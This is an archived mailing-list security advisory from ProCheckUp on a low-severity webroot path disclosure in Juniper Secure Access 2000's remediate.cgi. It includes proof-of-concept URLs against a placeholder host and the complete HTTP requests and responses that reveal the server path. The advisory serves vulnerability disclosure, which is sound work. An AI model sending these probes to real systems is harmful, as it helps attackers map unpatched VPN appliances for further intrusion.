Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000

Subject: PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000
Date: Thu, 28 Feb 2008 16:06:24 +0000
PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000

Vulnerability found: 6th December 2007

Vendor informed: 12th December 2007

Severity: Low

Description:

By simply requesting the 'remediate.cgi' script omitting certain parameters, the web server returns the physical path of the webroot ('/home/webserver/htdocs/') within a "Execute failed" error message.


Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000) 5.5R1 (build 11711)



Proof of concept:

https://target-domain.foo/dana-na/auth/remediate.cgi?action=&step=preauth
https://target-domain.foo/dana-na/auth/remediate.cgi?step=preauth


Consequences:

A remote attacker could recover information with regards to the target site's directory structure.

This kind of information might be useful to attackers in certain scenarios. i.e.: when attempting to exploit file retrieval vulnerabilities.


Fix:

Juniper Networks was aware of this issue which they addressed on version 6.0R1. However, we decided to release this advisory due to lack of information regarding this vulnerability in the public domain.


References:

http://www.procheckup.com/Vulnerabilities.php
http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secure_access_2000/


Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)


COMPLETE HTTP REQUEST:

GET /dana-na/auth/remediate.cgi?step=preauth HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*



COMPLETE HTTP RESPONSE:

HTTP/1.1 302 Moved
location: /dana-na/auth//welcome.cgi?p=&hideremed=1
Pragma: no-cache
Cache-Control: no-store
Expires: -1
Transfer-Encoding: chunked
Status: 500 Internal Error
Content-Type: text/html

<H2>500 Internal Error</H2><BR><H4>CGI script : /home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>
<BR> Compilation failed: Unable to execute script.<PRE>Execute failed, errcode = 1



COMPLETE HTTP REQUEST:

GET /dana-na/auth/remediate.cgi?action=&step=preauth HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*



COMPLETE HTTP RESPONSE:

HTTP/1.1 302 Moved
location: /dana-na/auth//welcome.cgi?p=&hideremed=1
Pragma: no-cache
Cache-Control: no-store
Expires: -1
Transfer-Encoding: chunked
Status: 500 Internal Error
Content-Type: text/html

<H2>500 Internal Error</H2><BR><H4>CGI script : /home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>
<BR> Compilation failed: Unable to execute script.<PRE>Execute failed, errcode = 1



Legal:

Copyright 2008 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.


<Prev in Thread] Current Thread [Next in Thread>
  • PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000, ProCheckUp Research <=